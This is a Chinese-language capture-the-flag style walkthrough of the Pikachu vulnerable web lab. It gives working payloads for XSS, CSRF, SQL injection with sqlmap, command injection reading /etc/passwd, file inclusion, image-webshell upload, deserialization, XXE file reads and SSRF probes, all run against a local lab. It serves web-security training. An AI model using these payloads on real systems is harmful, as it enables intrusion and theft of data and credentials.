Pikachu 靶场通关笔记中,有哪些技巧和经验可以分享?
摘要:> 📌 本文记录 Pikachu 靶场各类 Web 漏洞的实战练习过程,涵盖 XSS、CSRF、SQL注入、文件操作、越权、序列化、XXE、SSRF 等常见漏洞类型。
🐾 Pikachu 靶场通关笔记
📌 本文记录 Pikachu 靶场各类 Web 漏洞的实战练习过程,涵盖 XSS、CSRF、SQL注入、文件操作、越权、序列化、XXE、SSRF 等常见漏洞类型。
📚 目录
一、XSS 跨站脚本攻击
1.1 反射型 XSS(DOM型)
1.2 DOM型 XSS-x
1.3 XSS 盲打
1.4 XSS 之过滤绕过
1.5 XSS 之 htmlspecialchars
1.6 XSS 之 href 输出
1.7 XSS 之 JS 输出
二、CSRF 跨站请求伪造
2.1 CSRF(GET)
2.2 CSRF(POST)
2.3 CSRF Token
三、SQL 注入
3.1 数字型注入
3.2 字符型注入
3.3 搜索型注入
3.4 X 型注入
3.5 INSERT / UPDATE 注入
3.6 DELETE 注入
3.7 HTTP 头注入
3.8 基于 Boolean 的盲注
3.9 基于时间的盲注
3.10 宽字节注入(Wide Byte)
四、RCE 远程代码执行
4.1 exec "ping"
4.2 exec "eval"
五、文件操作漏洞
5.1 本地文件包含(LFI)
5.2 远程文件包含(RFI)
5.3 不安全的文件下载
5.4 文件上传 — 客户端校验绕过
5.5 文件上传 — 服务端校验绕过
六、越权漏洞
6.1 水平越权
6.2 垂直越权
七、目录遍历
八、敏感信息泄露
九、PHP 反序列化漏洞
十、XXE 漏洞
十一、不安全的 URL 跳转
十二、SSRF 服务端请求伪造
12.1 SSRF(curl)
12.2 SSRF(file_get_contents)
一、XSS 跨站脚本攻击
🔥 XSS(Cross-Site Scripting)是指攻击者将恶意脚本注入到网页中,使其他用户在浏览时执行该脚本,从而窃取 Cookie、劫持会话等。
1.1 反射型 XSS(DOM型)
🔍 思路: 随便输入内容并查看页面源代码,定位到按钮触发的 JS 函数。
找到按钮所绑定的函数后:
发现参数被拼接到 <a> 标签中,可以利用单引号闭合属性来注入事件。
⚠️ 注意:一定要使用英文单引号,中文单引号无效!
💣 Payload:
' onclick=eval("alert('xss');">xss</a>
只需构造闭合,再点击 "xss" 链接:
成功触发弹窗 🎉
1.2 DOM型 XSS-x
🔍 思路: 与上一题类似,Payload 相同,但本题还支持通过 URL 参数提交(需手动点击一下触发)。
💣 Payload(URL 提交):
?text=%27%20onclick=eval("alert(%27xss%27);">xss</a>#
1.3 XSS 盲打
📖 概念: 盲打就是注入后在当前页面看不到效果,但 Payload 会在后台管理员查看时触发。
🔍 步骤:
在前台随意输入内容提交(包含 XSS Payload)
登录后台查看留言
后台页面触发弹窗 💥
查看源代码,可以看到之前写入的 XSS 代码已被执行
1.4 XSS 之过滤绕过
📖 概念: 服务端对脚本标签进行了简单的关键字过滤,但过滤规则不完整,可通过大小写混用绕过。
💣 Payload(大小写混用绕过):
<sCript>alert(1)</sCript>
成功执行 ✅
1.5 XSS 之 htmlspecialchars
📖 概念: htmlspecialchars 是 PHP 中常见的 XSS 防御函数,可将特殊字符转义为 HTML 实体。但它存在以下几种绕过场景:
场景
说明
① 用在 href 属性里
javascript:alert(1) 不含特殊字符,不会被转义
② 未加 ENT_QUOTES 参数
单引号不会被转义,可用于闭合属性
③ 输出在 JS 代码块中
保护不完整,可通过字符串闭合绕过
🔍 步骤: 输入代码没有反应,查看源代码发现输入被放入了 <a> 标签的属性中。
发现是 <a> 标签中的单引号闭合问题,构造绕过:
💣 Payload:
' onclick=alert(1111) '
成功触发 🎉
1.6 XSS 之 href 输出
🔍 思路: 查看源代码发现尖括号已被编码转义,无法直接插入标签。
可以使用不含尖括号的方案:
💣 Payload 一(属性事件注入):
' onclick=alert(1111) '
💣 Payload 二(javascript 伪协议):
javascript:alert(1)
两种方式均可成功执行 ✅
1.7 XSS 之 JS 输出
📖 概念: 用户输入被直接拼接到 JS 代码块中,需要闭合 JS 字符串才能注入恶意代码。
尝试直接插入 <script> 标签,发现 JS 语法被破坏,不能正常执行:
<scirpt>alert('xss')</script>
查看源代码后,构造闭合注入:
💣 Payload 一(闭合字符串):
';alert(1)//
💣 Payload 二(标签闭合绕过):
</script><script>alert('xss')</script>
两种方式均可成功触发 ✅
二、CSRF 跨站请求伪造
🎭 CSRF(Cross-Site Request Forgery)是指攻击者诱使已登录用户访问恶意页面,在用户不知情的情况下以其身份发起请求,篡改数据。
2.1 CSRF(GET)
🔍 步骤:
登录一个普通用户账号
尝试修改个人信息,用 Burp Suite 抓包观察请求
发现是 GET 方式发送的请求
在 Burp 中右键 → 生成 CSRF PoC
修改 PoC 中的目标参数后复制链接
访问构造好的链接后,发现用户信息已被悄悄修改 ✅
2.2 CSRF(POST)
📖 概念: 与 GET 型 CSRF 原理相同,区别在于请求使用 POST 方式发送,需要构造一个隐藏表单页面自动提交。
2.3 CSRF Token
📖 概念: 添加了随机 Token 验证,理论上无法直接伪造请求。
🔍 查看源代码: 发现 Token 存储在前端 HTML 中
💡 绕过思路: 此处可配合 XSS 漏洞,先通过 XSS 读取页面中的 Token 值,再携带 Token 构造 CSRF 请求,实现完整攻击链:XSS + CSRF。
三、SQL 注入
💉 SQL 注入是指攻击者将恶意 SQL 语句插入到输入参数中,操控后端数据库执行非预期的查询。
3.1 数字型注入
🔍 步骤:
输入数字,页面正常显示
输入单引号 ',页面报错 → 确认存在注入点
使用 ORDER BY 探测列数,到 2 不报错,说明有 2 列输出
使用联合注入查询数据库信息
💣 查表名:
id=2 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'
💣 查列名:
id=2 union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'
💣 查数据:
id=2 union select group_concat(username),group_concat(password) from users
密码经过 MD5 加密,使用在线工具解密:https://www.cmd5.com/
e10adc3949ba59abbe56e057f20f883e → 123456
670b14728ad9902aecba32e22fa4f6bd → 123456
e99a18c428cb38d5f260853678922e03 → abc123
3.2 字符型注入
🔍 思路: 参数被单引号包裹,需要用 ' 闭合原有引号再注入。
💣 Payload:
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #
3.3 搜索型注入
📖 概念: 后端 SQL 使用 LIKE '%$name%' 进行模糊查询,存在注入风险。
使用 SQLMap 自动检测:
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --batch
3.4 X 型注入
📖 概念: SQL 语句结构为 SELECT * FROM users WHERE (id='$id'),参数被括号和引号包裹。
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch
3.5 INSERT / UPDATE 注入
🔍 思路: 注入点位于 INSERT 或 UPDATE 语句中,建议将请求包保存为文件,再用 SQLMap 发包。
python sqlmap.py -r D:\Backup\桌面\sql.txt --batch
3.6 DELETE 注入
🔍 思路: 注入点位于 DELETE 语句中,通常通过 ID 参数传入。
# 使用 SQLMap 检测
python sqlmap.py -r sql.txt --batch
3.7 HTTP 头注入
📖 概念: 注入点不在 URL 参数中,而是在 HTTP 请求头(如 User-Agent、X-Forwarded-For、Cookie 等)。
⚠️ 注意识别正确的包,登录包不是目标,要找带有 UA 信息的业务包。
这个才是目标包 👇
这是报错注入类型:
3.8 基于 Boolean 的盲注
📖 概念: 页面不返回具体数据,只通过 True/False 的响应差异来逐位猜解数据。
python sqlmap.py -u "目标URL" --batch
3.9 基于时间的盲注
📖 概念: 注入后通过 sleep() 函数造成响应延迟,根据响应时间判断条件真假,逐步提取数据。
python sqlmap.py -u "目标URL" --batch
3.10 宽字节注入(Wide Byte)
📖 概念: 宽字节注入是针对字符编码过滤的绕过技术。当后端使用 GBK/GB2312 编码且对单引号用 \ 转义时,通过在单引号前插入 %df,使 %df\ 被合并解析为一个合法的 GBK 汉字,从而"吃掉"反斜杠,让单引号逃逸。
💣 Payload:
name=1%df' union select version(),database() #
四、RCE 远程代码执行
⚡ RCE(Remote Code Execution)是危害最高的漏洞类型之一,攻击者可直接在服务器上执行任意命令或代码。
4.1 exec "ping"
📖 概念: 该功能通过系统调用执行 ping 命令,可利用管道符拼接执行额外命令。
💣 管道命令注入示例:
127.0.0.1 | whoami
127.0.0.1 | cat /etc/passwd
4.2 exec "eval"
📖 概念: 该功能直接 eval() 执行用户输入的 PHP 代码,危害极大。
💣 Payload:
phpinfo();
直接执行,页面返回完整 phpinfo 信息 ✅
五、文件操作漏洞
5.1 本地文件包含(LFI)
📖 概念: 服务端通过 include() 等函数动态加载文件,若参数可控且未过滤路径穿越符,攻击者可读取任意文件。
🔍 观察 URL 参数:
http://pikachu/vul/fileinclude/fi_local.php?filename=file5.php&submit=提交
💣 构造路径穿越:
http://pikachu/vul/fileinclude/fi_local.php?filename=../../../../../../1.php&submit=提交
预先在目标路径写入如下文件 1.php:
<?php phpinfo(); ?>
5.2 远程文件包含(RFI)
📖 概念: 若服务端 PHP 配置开启了 allow_url_include,可以包含远程 URL 指向的恶意文件。
💣 Payload:
http://pikachu/vul/fileinclude/fi_remote.php?filename=http://baidu.com&submit=提交
💡 实战中可将 filename 参数指向包含 Webshell 的远程服务器,获取权限。
5.3 不安全的文件下载
📖 概念: 文件下载接口的 filename 参数未过滤,可通过路径穿越读取任意文件。
💣 构造路径穿越下载源码:
unsafedownload/execdownload.php?filename=../../../index.php
5.4 文件上传 — 客户端校验绕过
📖 概念: 文件类型校验仅在前端 JavaScript 中完成,禁用 JS 即可绕过。
🔍 查看源代码,确认是前端检测:
🔍 步骤:
在浏览器中禁用 JavaScript
再次上传 .php 文件,已无校验限制
访问上传路径,执行成功 ✅
http://pikachu/vul/unsafeupload/uploads/1.php
5.5 文件上传 — 服务端校验绕过
MIME 类型检测绕过
📖 概念: 服务端检测 Content-Type 字段,在 Burp Suite 中将其修改为 image/png 即可绕过。
getimagesize() 图片头检测绕过
📖 概念: getimagesize() 通过读取文件头来判断是否是合法图片,可制作图片马(在图片文件末尾附加 PHP 代码)来绕过。
# 制作图片马
copy normal.png /b + shell.php /a webshell.png
⚠️ 注意:上传后文件后缀为 .png,无法直接用工具连接 Webshell。需结合文件包含漏洞,通过包含图片马来触发执行。
六、越权漏洞
🔑 越权漏洞是指用户能够访问或操作超出其权限范围的数据或功能。
6.1 水平越权
📖 概念: 同等权限的用户间互相访问对方数据。(如用户A能查看用户B的信息)
🔍 步骤:
登录账号,查看个人信息
观察 URL 参数:
http://pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=点击查看个人信息
直接修改 username 参数为其他用户名,即可越权访问 ✅
http://pikachu/vul/overpermission/op1/op1_mem.php?username=lili&submit=点击查看个人信息
6.2 垂直越权
📖 概念: 低权限用户访问高权限用户才能使用的功能。(如普通用户访问管理员接口)
🔍 步骤:
分别登录普通用户 pikachu 和管理员 Admin,对比页面差异
管理员点击"添加用户"时,URL 为:
http://pikachu/vul/overpermission/op2/op2_admin_edit.php
切换回 pikachu 普通用户的 Cookie,直接访问该 URL,成功操作管理员功能 ✅
七、目录遍历
📖 概念: 服务端接受用户控制的文件路径参数,未作充分限制,攻击者可通过 ../ 跨越目录访问任意文件。
🔍 观察 URL:
http://pikachu/vul/dir/dir_list.php?title=jarheads.php
💣 构造路径穿越:
http://pikachu/vul/dir/dir_list.php?title=../../../../../../1.php
八、敏感信息泄露
📖 概念: 应用程序无意间将敏感信息暴露在前端页面(如 HTML 注释、JS 文件、报错信息等)。
🔍 直接查看页面源代码即可发现:
九、PHP 反序列化漏洞
📖 概念: 当反序列化的内容可被用户控制,且后端使用了危险的魔法函数时,就会产生安全漏洞。
相关函数
函数
说明
serialize()
将对象转换为可传输字符串
unserialize()
将字符串还原为对象
序列化示例:
class S {
public $test = "pikachu";
}
$s = new S();
serialize($s);
// 输出:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
格式解析:
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
│ │ │ │ │ │ │ │
│ │ │ │ │ │ │ └─ 变量值
│ │ │ │ │ │ └─ 变量值长度
│ │ │ │ │ └─ 变量名
│ │ │ │ └─ 变量名长度
│ │ │ └─ 变量数量
│ │ └─ 对象名称
│ └─ 对象名长度
└─ Object
常见魔法函数
魔法函数
触发时机
__construct()
对象创建时
__destruct()
对象销毁时
__toString()
对象被当作字符串使用时
__sleep()
序列化之前
__wakeup()
反序列化之后立即调用
漏洞利用示例
class S {
var $test = "pikachu";
function __destruct() {
echo $this->test; // 对象销毁时会执行
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
💣 Payload 构造脚本:
<?php
class S {
var $test = "<script>alert(111)</script>";
}
$a = new S();
echo serialize($a);
?>
💣 输出 Payload:
O:1:"S":1:{s:4:"test";s:27:"<script>alert(111)</script>";}
提交后成功触发 XSS ✅
十、XXE 漏洞
📖 概念: XXE(XML External Entity)即 XML 外部实体注入,攻击者通过构造恶意 XML 文档,利用外部实体读取服务器文件或发起 SSRF 攻击。
💣 Payload(读取 Windows 系统文件):
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<a>&xxe;</a>
十一、不安全的 URL 跳转
📖 概念: 应用程序使用用户可控的参数作为跳转目标 URL,可被用于钓鱼攻击(将用户引导至恶意站点)。
💣 构造恶意跳转:
http://pikachu/vul/urlredirect/urlredirect.php?url=http://baidu.com
十二、SSRF 服务端请求伪造
🌐 SSRF(Server-Side Request Forgery)是指攻击者构造请求,由服务器代为发起,可访问内网资源、绕过防火墙。
⚠️ 以下两个 SSRF 题目需要 PHP 7 版本才能正常运行。
12.1 SSRF(curl)
💣 利用 curl 访问内网资源:
http://pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/1.php
12.2 SSRF(file_get_contents)
💣 利用 file_get_contents 访问内网资源:
http://pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/1.php
同样有效 ✅,还支持其他伪协议玩法,例如:
file:///etc/passwd # 读取本地文件
dict://127.0.0.1:6379/ # 探测内网服务
📝 笔记说明: 本文档基于 Pikachu 靶场实战整理,所有操作均在本地搭建的靶场环境中完成,仅用于学习交流。
